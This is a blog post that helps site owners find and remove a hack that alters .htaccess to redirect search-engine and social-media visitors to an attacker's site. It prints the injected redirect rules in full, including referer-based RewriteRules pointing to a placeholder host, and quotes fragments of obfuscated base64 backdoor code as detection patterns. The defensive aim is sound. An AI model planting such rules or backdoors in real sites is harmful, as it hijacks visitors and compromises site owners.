HT Hackcess – Bane of Developers

One of my clients has today been hit by a new hacking phenomenon (at least it’s new to me) and it’s very crafty! Hopefully this article will help other developers and site owners spot and fix this annoying intrusion.

What’s the Hack?

This hack has been recorded affecting WordPress, Joomla and Magento, and is manifested by users being redirected to some other website when they find your site by clicking a link on one of a long list of sites, including:

  • google
  • facebook
  • youtube
  • flickr
  • linkedin

and a lot more.

The hack alters your sites .htaccess file to intercept traffic before it reaches your site and divert it away. If you spot the hack and resotre your .htaccess file to it original format, the problem will go away, but will likely resurface. This is because the hack is actually activated by another file that gets hidden somewhere within your website, so without finding and deleting that file, it will keep altering your .htaccess and hacking in the alternative destination.

How to Fix It

Whilst I have not come across a definitive solution to fixing this problem, there are a few things you can do to locate to offending file and remove it. I have attempted to collate information from a number of sources where this matter has been discussed, but other variations may exist. You will need to have access to the server via FTP or similar and will need to be able to read the server’s access log.

Check your .htaccess has been infected

Download and view the .htaccess file and look for suspicious code. The first few lines of code may look normal, and be followed by a lot of white space, so make sure you scroll down and to the right if necessary to spot the hack if it’s there. If it is it will look something like:

ErrorDocument 400 http://somerandomsite.com/afile.php
ErrorDocument 401 http://somerandomsite.com/afile.php
ErrorDocument 403 http://somerandomsite.com/afile.php
ErrorDocument 404 http://somerandomsite.com/afile.php
ErrorDocument 500 http://somerandomsite.com/afile.php
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://somerandomsite.com/afile.php [R=301,L]
</IfModule>

or perhaps

RewriteCond %{HTTP_REFERER} ^.*
(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://somerandomsite.com/afile.php [R=301,L]

Repair the .htaccess

If you have a backup of your .htaccess file, restore it to how it was before the hack. If not, delete the intrusive code and leave just your normal contents in the file, save it and re-upload it.

Protect the .htaccess

To avoid the hack being effective in the future, change the access rights to your .htaccess file to make it read only (on linux systems, for example, I’d recommend setting permissions to 400 to prevent the file being edited, even by the server). This will hopefully prevent the file from being edited again.

Find the Source

It can be tricky to find the file that is editing your .htaccess file (which is referred to as a ‘backdoor’), which is why the previous step is so important, just in case you can’t find it.

If possible, open up your server’s access log and look for any odd looking access records to files that you don’t recognise. They are usually .php files. Some of the file names foudn by other users include:

  • 1access_log.php
  • access_log.php
  • core.php
  • functions.php (although there will be legitimate calls to this one in wordpress sites)
  • htaccess.php
  • hodoo.php
  • jquery.autogrow.php
  • rewrite_mod.php
  • rewrite_module.php
  • site.php

If you find access logs accessing any of these or similar files (or indeed if you find any of these files on your server) locate them, download them and take a look. In all cases I’ve read about the files contain some code that includes an obfuscated “base64” function. This could appear as

eval(gzuncompress(base64_decode("LOTS OF RANDOM CHARACTERS HERE");

or

return call_user_func('bas'.'e6'.'4'.'_de'.'code',$t);

If they do contain this kind of code, delete or rename the files and see if it affects the normal functionality of the site. If not, you’ve probably fixed the problem, but keep an eye on the site for a while to see if it happens again (and monitor the access log for any other files which might be accessed to try and re-trigger the hack)

Thanks

I need to thank a few people for their source material and tips that have helped me find the data for this article.

A post by Soumendra on the qubesys site helped me to identify the problem
Some tips from my good friend Mike Copestake at planet-pcs.com helped me get my head around protecting against the hack, and
A great blog post by RedLeg, which provided a more detailed description and investigation of the problem was very helpful in locating and fixing the issue at hand

Thanks guys!

Leave a Reply